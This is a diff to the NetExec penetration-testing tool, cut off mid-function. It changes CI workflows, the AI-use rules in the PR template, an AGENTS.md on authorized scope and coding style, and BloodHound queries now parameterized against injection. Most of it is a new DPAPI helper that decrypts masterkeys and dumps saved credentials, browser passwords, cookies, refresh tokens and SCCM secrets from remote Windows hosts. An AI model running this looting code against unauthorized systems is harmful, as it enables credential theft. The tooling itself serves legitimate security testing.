diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index 42cf79b1bb..ab9c839838 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -2,10 +2,16 @@ Please include a summary of the change and which issue is fixed, or what the enhancement does. List any dependencies that are required for this change. -If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md +### AI Assistance +If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. + +Note that if you have used AI, you: +- MUST test the changes against a live system +- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix) +- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md) ## Type of change -Insert an "x" inside the brackets for relevant items (do not delete options) +Insert an "x" inside the brackets for relevant items - [ ] Bug fix (non-breaking change which fixes an issue) - [ ] New feature (non-breaking change which adds functionality) @@ -16,7 +22,8 @@ Insert an "x" inside the brackets for relevant items (do not delete options) - [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description) ## Setup guide for the review -Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions. +Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions. + In particular: - Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer. - Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as: diff --git a/.github/workflows/build-binaries.yml b/.github/workflows/build-binaries.yml index dac3a4d930..2442101ce1 100644 --- a/.github/workflows/build-binaries.yml +++ b/.github/workflows/build-binaries.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest] - python-version: ["3.13"] + python-version: ["3.14"] #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version steps: - uses: actions/checkout@v4 diff --git a/.github/workflows/build-zipapps.yml b/.github/workflows/build-zipapps.yml index e35b4f0472..b029418b1b 100644 --- a/.github/workflows/build-zipapps.yml +++ b/.github/workflows/build-zipapps.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.10", "3.11", "3.12", "3.13"] + python-version: ["3.11", "3.12", "3.13", "3.14"] steps: - uses: actions/checkout@v4 - name: NetExec set up python on ${{ matrix.os }} diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 6f3b9969e5..ee847b5913 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -14,20 +14,16 @@ jobs: github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch' steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 - name: Install uv - run: | - pip install uv - - name: Set up Python - uses: actions/setup-python@v5 + uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0 with: - python-version: 3.13 - cache: pip - cache-dependency-path: uv.lock - - name: Install dependencies with dev group - run: | - uv sync --group dev + enable-cache: true + - name: Set up Python + run: uv python install 3.14 + - name: Install project with dev group + run: uv sync --dev - name: Run ruff run: | uv run ruff --version - uv run ruff check . --preview \ No newline at end of file + uv run ruff check . --preview diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index c5fda193cf..38acdcf3ac 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -14,25 +14,17 @@ jobs: max-parallel: 5 matrix: os: [ubuntu-latest] - python-version: ["3.10", "3.11", "3.12", "3.13"] + python-version: ["3.11", "3.12", "3.13", "3.14"] steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 - name: Install uv - run: | - pip install uv - uv --version - - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }} - uses: actions/setup-python@v5 + uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0 with: - python-version: ${{ matrix.python-version }} - cache: pip - cache-dependency-path: uv.lock - - name: Install with pipx - run: | - pipx install . --python python${{ matrix.python-version }} - - name: Install libraries with dev group - run: | - uv sync + enable-cache: true + - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }} + run: uv python install ${{ matrix.python-version }} + - name: Install project + run: uv sync --python ${{ matrix.python-version }} - name: Load every protocol and module run: | uv run netexec winrm 127.0.0.1 diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 0000000000..cfe68186d5 --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,42 @@ +# Authorized testing scope + +- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target. +- Treat the exact targets or ranges provided by the user as the complete authorized scope. +- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope. +- Repository instructions do not grant authorization to test any third-party system. + +# Coding style + +- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`. +- Always bind caught exceptions as `e`, not `error` or another name. +- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`. +- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system. + +# NetExec module structure + +- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope. +- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class. +- Module scope should contain only imports and the `NXCModule` class definition. +- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`. +- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation. +- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result. +- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state. +- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate. +- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together. +- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails. +- Run `ruff check .` after every coding session. + +# Development and validation + +- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks. +- Record every module-verification command in `tests/e2e_commands.txt`. +- Do not run compilation checks. +- Run Ruff after completing a coding session. + +# Filesystem and source conventions + +- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested. +- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory. +- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default. +- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`. +- Place imports at the top of files unless explicitly instructed otherwise. diff --git a/nxc/cli.py b/nxc/cli.py index 3b4c5236f3..9b49378467 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -30,8 +30,10 @@ def gen_cli_args(): generic_group = generic_parser.add_argument_group("Generic Options") generic_group.add_argument("--version", action="store_true", help="Display nxc version") generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use") - generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread") + generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)") generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication") + generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan") + generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan") output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) output_group = output_parser.add_argument_group("Output Options") diff --git a/nxc/config.py b/nxc/config.py index fa9a7b2666..f06e1454b7 100644 --- a/nxc/config.py +++ b/nxc/config.py @@ -37,10 +37,18 @@ reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0)) config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False) host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"])) +check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False) +display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True) +skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False) +exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[])) +if not isinstance(exclude_hosts, list): + nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.") + exit(1) # Read stealth_label from user config first, then default config stealth_label = nxc_config.get("nxc", "stealth_label").strip("'\"") if nxc_config.has_option("nxc", "stealth_label") else nxc_default_config.get("nxc", "stealth_label", fallback="C$ Access!").strip("'\"") + if len(host_info_colors) != 4: nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.") host_info_colors = nxc_default_config.get("nxc", "host_info_colors") diff --git a/nxc/connection.py b/nxc/connection.py index 2521a1f14d..2227943ee9 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -15,7 +15,8 @@ from nxc.config import pwned_label from nxc.config import stealth_label from nxc.helpers.logger import highlight -from nxc.loaders.moduleloader import ModuleLoader +from nxc.helpers.path import sanitize_path_component +from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError from nxc.logger import nxc_logger, NXCAdapter from nxc.context import Context from nxc.paths import NXC_PATH @@ -149,6 +150,7 @@ def __init__(self, args, db, target): self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate) or + (hasattr(self.args, "generate_st") and self.args.generate_st) or (hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets)) self.aesKey = None if not self.args.aesKey else self.args.aesKey[0] self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache @@ -175,12 +177,14 @@ def __init__(self, args, db, target): if self.kerberos: self.host = self.hostname - self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}") + self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}") try: self.proto_flow() except FileNotFoundError as e: self.logger.error(f"File not found error on target {target}: {e}") + except ConnectionRefusedError as e: + self.logger.error(f"Target {target} refused the connection: {e}") except Exception as e: if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e): self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}") @@ -242,20 +246,20 @@ def proto_flow(self): self.logger.debug("Kicking off proto_flow") self.proto_logger() if not self.create_conn_obj(): - self.logger.info(f"Failed to create connection object for target {self.host}, exiting...") + self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...") else: - self.logger.debug("Created connection object") + self.logger.info(f"Successfully created connection object for target '{self.host}'") self.enum_host_info() # Construct the output file template using os.path.join for OS compatibility base_log_dir = os.path.join(NXC_PATH, "logs") - filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-") + filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220) self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern) # Default output filename for logs self.output_filename = os.path.join(base_log_dir, filename_pattern) self.print_host_info() - if self.login() or (self.username == "" and self.password == ""): + if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"): self.logger.debug("Calling command arguments") self.call_cmd_args() if self.args.module: @@ -335,7 +339,7 @@ def over_fail_limit(self, username): if self.failed_logins == self.args.fail_limit: return True - if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103 + if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool] return True return False @@ -605,5 +609,9 @@ def load_modules(self): self.modules = [] for module_path in self.module_paths: - module = loader.init_module(module_path) + try: + module = loader.init_module(module_path) + except ModuleOptionsError as e: + self.logger.debug(f"Skipping module: {e}") + continue self.modules.append(module) diff --git a/nxc/data/nxc.conf b/nxc/data/nxc.conf index 850f7710f2..7241ea1017 100755 --- a/nxc/data/nxc.conf +++ b/nxc/data/nxc.conf @@ -7,6 +7,10 @@ audit_mode = reveal_chars_of_pwd = 0 log_mode = False host_info_colors = ["green", "red", "yellow", "cyan"] +check_guest_account = False +display_dc = True +skip_self = False +exclude_hosts = [] [BloodHound] bh_enabled = False diff --git a/nxc/database.py b/nxc/database.py index 37442d1d44..1403866bf9 100644 --- a/nxc/database.py +++ b/nxc/database.py @@ -200,7 +200,10 @@ def clear_database(self): self.db_execute(table.delete()) def db_execute(self, *args): - self.lock.acquire() - res = self.sess.execute(*args) - self.lock.release() - return res + with self.lock: + res = self.sess.execute(*args) + return res.freeze()() if res.returns_rows else res + + def get_keys(self, key_id=None, cred_id=None): + """Return an empty list by default. Protocols that support keys (e.g. SSH) override this.""" + return [] diff --git a/nxc/helpers/bloodhound.py b/nxc/helpers/bloodhound.py index b625473357..ebc0f7725c 100644 --- a/nxc/helpers/bloodhound.py +++ b/nxc/helpers/bloodhound.py @@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config): with driver.session().begin_transaction() as tx: for user_info in users_owned: distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",") - domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data() + domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data() if not domain_query: logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.") _add_without_domain(user_info, tx, logger) @@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger): user_owned = f"{user_info['username']}@{domain}" account_type = "User" - result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data() + result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data() if len(result) == 0: logger.fail("Account not found in the BloodHound database.") return if result[0]["c"].get("owned") in (False, None): logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name") - result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0] + result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0] logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound") @@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger): user_owned = user_info["username"] account_type = "User" - result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data() + result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data() if len(result) == 0: logger.fail("Account not found in the BloodHound database.") @@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger): return elif result[0]["c"].get("owned") in (False, None): logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name") - result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0] + result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0] logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound") diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py new file mode 100644 index 0000000000..a55a665a2b --- /dev/null +++ b/nxc/helpers/dpapi.py @@ -0,0 +1,461 @@ + +from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection +from dploot.lib.target import Target +from dploot.triage.backupkey import BackupkeyTriage +from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie +from dploot.triage.cng import CngTriage +from dploot.triage.credentials import CredentialsTriage +from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey +from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection +from dploot.triage.vaults import VaultsTriage + +from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage +from nxc.helpers.logger import highlight + + +def upgrade_to_dploot_connection(target, connection): + """ + DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part. + This function gets the calling NXC protocol and tries reuse the already opened connection + on DPLoot directly. If not it opens up a new connection. + """ + conn = None + protocol = target.protocol + try: + match protocol: + case "smb": + from dploot.lib.network.smb import DPLootSMBConnection + conn = DPLootSMBConnection(target) + if connection is not None: + conn.smb_session = connection.conn + else: + conn.connect() + case "wmi": + from dploot.lib.network.wmi import DPLootWMIConnection + conn = DPLootWMIConnection(target) + if connection is not None: + conn.dcom = connection.dcom_conn + conn.iWbemLevel1Login = connection.iWbemLevel1Login + else: + conn.connect() + case "winrm": + from dploot.lib.network.winrm import DPLootWINRMConnection + conn = DPLootWINRMConnection(target) + if connection is not None: + conn.conn = connection.conn + else: + conn.connect() + case "mssql": + from dploot.lib.network.mssql import DPLootMSSQLConnection + conn = DPLootMSSQLConnection(target) + if connection is not None: + conn.conn = connection.conn + except Exception as e: + connection.logger.debug(e) + return None + + return conn + + +class DPAPITriage: + """ + DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class. + Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize + it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also + to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc. + + To implement this class in a protocol, use a @property decorator on dpapi_triage like so: + + ``` + @property + def dpapi_triage(self) -> DPAPITriage: + if self._dpapi_triage is not None: + return self._dpapi_triage + target = + + self._dpapi_triage = DPAPITriage(self, target) + return self._dpapi_triage + ``` + + This way, every DPAPI related module will automaticaly work with the protocol + + """ + def __init__(self, connection, target: Target): + self.connection = connection + self.target = target + + self.conn = None + self.dump_cookies = False + self.masterkeys = [] + self._pvkbytes = None + + # Keep track of writing secrets in file + self.output_file = self.connection.output_file_template.format(output_folder="dpapi") + self.secrets_counter = 0 + + if connection.args.dpapi is not None: + self.dump_cookies = "cookies" in connection.args.dpapi + + # Variables to know what materkey types have already been dumped + self.system_masterkeys_already_dumped = False + self.users_masterkeys_already_dumped = False + + # Initialize the connection here, if you need this class then you will need the connection + self.init_connection() + + def __del__(self): + # When everything is finished, then we give the feedback to the user + if self.output_file is not None and self.secrets_counter > 0: + self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}") + + def log_secret(self, line, logger=None): + # Handle the secret counter here, avoid to handle it in multiple places + if logger is None: + logger = self.connection.logger + logger.highlight(line) + with open(self.output_file, "a", encoding="utf-8") as fd: + self.secrets_counter += 1 + fd.write(line + "\n") + + def init_connection(self): + """Tries to initiate a DPLootConnection object from a NXC connection""" + if self.conn is not None: + self.connection.logger.debug("DPLoot connection already initiated, skipping.") + return + self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target) + if self.conn is None: + self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage") + return + + def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): + """ + Get and decrypt masterkeys from the target. + dump_users: If True, then user masterkeys will be collected if they have not already been + dump_system: If True, then system masterkeys will be collected if they have not already been + """ + # If we have already dumped everything, then we won't find new stuff + if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped: + return self.masterkeys + + masterkeys = [] + plaintexts = {} + nthashes = {} + + # First, check and handle the mkfile arg + if self.connection.args.mkfile is not None: + try: + masterkeys += parse_masterkey_file(self.connection.args.mkfile) + except Exception as e: + self.connection.logger.fail(str(e)) + + # Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys + if dump_users: + users = self.conn.list_users() + plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")} + # dploot matches user.lower() + if self.connection.password != "": + plaintexts[self.connection.username.lower()] = self.connection.password + if self.connection.nthash != "": + nthashes[self.connection.username.lower()] = self.connection.nthash + + # Now prepare the SYSTEM part + if (dump_system + and self.connection.dpapi_system_key is None + and hasattr(self.connection, "lsa") + and callable(self.connection.lsa)): + # We can use the protocol specific LSA dump if not already dumped. + # But first, just making sure the protocol supports LSA dump :) + self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys") + self.connection.lsa(quiet=True) + if self.connection.dpapi_system_key is not None: + self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}") + self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}") + else: + self.connection.logger.fail("Could not get DPAPI SYSTEM keys") + + # Invoke MasterkeyTriage class + try: + masterkeys_triage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + passwords=plaintexts, + nthashes=nthashes, + dpapiSystem=self.connection.dpapi_system_key, + ) + self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") + + # Collect User Masterkeys if this has not already been done + if dump_users and not self.users_masterkeys_already_dumped: + self.connection.logger.display("Collecting DPAPI Users masterkeys") + masterkeys += masterkeys_triage.triage_masterkeys() + # if multiple functionalities are calling masterkeys triage, make sur we do it only once + self.users_masterkeys_already_dumped = True + + # Collect SYSTEM Masterkeys if this has not already been done + if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped: + self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys") + masterkeys += masterkeys_triage.triage_system_masterkeys() + # if multiple functionalities are calling masterkeys triage, make sur we do it only once + self.system_masterkeys_already_dumped = True + except Exception as e: + self.connection.logger.debug(f"Could not get masterkeys: {e}") + self.masterkeys += masterkeys + # If we decrypted new masterkeys, print the message + if len(masterkeys) > 0: + self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ") + return self.masterkeys + + def triage_credentials(self, masterkeys: list[Masterkey]): + # Collect User and Machine Credentials Manager secrets + + def credential_callback(credential): + tag = "CREDENTIAL" + line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}" + self.log_secret(line) + self.connection.db.add_dpapi_secrets( + self.target.address, + tag, + credential.winuser, + credential.username, + credential.password, + credential.target, + ) + + try: + credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback) + self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}") + credentials_triage.triage_credentials() + credentials_triage.triage_system_credentials() + except Exception as e: + self.connection.logger.debug(f"Error while looting credentials: {e}") + + def triage_chromium(self, masterkeys: list[Masterkey]): + cng_chromekey = None + # We need the CNG triage to recover Chrome passwords since Chrome v137 + try: + cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys) + for cng_file in cng_triage.triage_system_cng(): + if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1": + self.connection.logger.debug("Found CNG Google ChromeKey1\n") + cng_chromekey = cng_file.decrypted_private_key + except Exception as e: + self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}") + + # Collect Chrome Based Browser stored secrets + def browser_callback(secret): + if isinstance(secret, LoginData): + secret_url = secret.url + " -" if secret.url != "" else "-" + line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}" + self.log_secret(line) + self.connection.db.add_dpapi_secrets( + self.target.address, + secret.browser.upper(), + secret.winuser, + secret.username, + secret.password, + secret.url, + ) + elif isinstance(secret, GoogleRefreshToken): + line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}" + self.log_secret(line) + self.connection.db.add_dpapi_secrets( + self.target.address, + secret.browser.upper(), + secret.winuser, + secret.service, + secret.token, + "Google Refresh Token", + ) + elif isinstance(secret, Cookie): + line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}" + self.log_secret(line) + + try: + browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback) + browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey) + except Exception as e: + self.connection.logger.debug(f"Error while looting browsers: {e}") + + def triage_vaults(self, masterkeys: list[Masterkey]): + def vault_callback(secret): + tag = "IEX" + if secret.type == "Internet Explorer": + resource = secret.resource + " -" if secret.resource != "" else "-" + line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}" + self.log_secret(line) + self.connection.db.add_dpapi_secrets( + self.target.address, + tag, + secret.winuser, + secret.username, + secret.password, + secret.resource, + ) + + try: + # Collect User Internet Explorer stored secrets + vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback) + vaults_triage.triage_vaults() + except Exception as e: + self.connection.logger.debug(f"Error while looting vaults: {e}") + + def triage_firefox(self): + def firefox_callback(secret): + tag = "FIREFOX" + if isinstance(secret, FirefoxData): + url = secret.url + " -" if secret.url != "" else "-" + line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}" + self.log_secret(line) + self.connection.db.add_dpapi_secrets( + self.target.address, + tag, + secret.winuser, + secret.username, + secret.password, + secret.url, + ) + elif isinstance(secret, FirefoxCookie): + line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}" + self.log_secret(line) + + try: + # Collect Firefox stored secrets + firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback) + firefox_triage.run(gather_cookies=self.dump_cookies) + except Exception as e: + self.logger.debug(f"Error while looting firefox: {e}") + + # The dpapi function for every protocol + def triage_dpapi(self): + # Load masterkeys + masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi) + if len(masterkeys) == 0: + # Nothing will be recovered if no masterkeys, so we can stop there + self.connection.logger.fail("No masterkeys looted") + return + + self.connection.logger.success("Looting secrets...") + + # Calling all the triage functions. We can add other triage functions here + self.triage_credentials(masterkeys) + self.triage_chromium(masterkeys) + self.triage_vaults(masterkeys) + self.triage_firefox() + + def triage_sccm(self): + masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True) + if len(masterkeys) == 0: + self.connection.logger.fail("No masterkeys looted") + return + + self.connection.logger.success("Looting SCCM Credentials") + + def sccm_callback(secret): + if isinstance(secret, SCCMCred): + tag = "NAA Account" + line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}" + self.log_secret(line) + self.connection.db.add_dpapi_secrets( + self.target.address, + f"SCCM - {tag}", + "SYSTEM", + secret.username.decode("latin-1"), + secret.password.decode("latin-1"), + "N/A", + ) + elif isinstance(secret, SCCMSecret): + tag = "Task sequences secret" + line = f"[{tag}] {secret.secret.decode('latin-1')}" + self.log_secret(line) + self.connection.db.add_dpapi_secrets( + self.target.address, + f"SCCM - {tag}", + "SYSTEM", + "N/A", + secret.secret.decode("latin-1"), + "N/A", + ) + elif isinstance(secret, SCCMCollection): + tag = "Collection Variable" + line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}" + self.log_secret(line) + self.connection.db.add_dpapi_secrets( + self.target.address, + f"SCCM - {tag}", + "SYSTEM", + secret.variable.decode("latin-1"), + secret.value.decode("latin-1"), + "N/A", + ) + try: + sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback) + sccm_triage.triage_sccm() + except Exception as e: + self.logger.debug(f"Error while looting sccm: {e}") + + @property + def pvkbytes(self): + """ + The pvkbytes. If not already initialized, tries to set it + The precedence order is the following : + - Check the pvk argument + - Checks in the DB + - Get it from a domain controller + """ + # pvkbytes already loaded and in cache ? Serve it + if self._pvkbytes is not None: + return self._pvkbytes + + pvkbytes = None + + # First check the pvk argument and handle it + if self.connection.args.pvk is not None: + try: + with open(self.connection.args.pvk, "rb") as fd: + pvkbytes = fd.read() + self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}") + except Exception as e: + self.connection.logger.fail(str(e)) + + # If no pvkbytes yet, then we check in the DB + if pvkbytes is None: + try: + results = self.connection.db.get_domain_backupkey(self.connection.domain) + except Exception: + self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option") + return False + if len(results) > 0: + self.connection.logger.success("Loading domain backupkey from nxcdb...") + pvkbytes = results[0][2] + + # If no pvkbytes yet, then we can try to get it from a domain controller + if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False: + try: + dc_target = SMBTarget.create( + domain=self.connection.domain, + username=self.connection.username, + 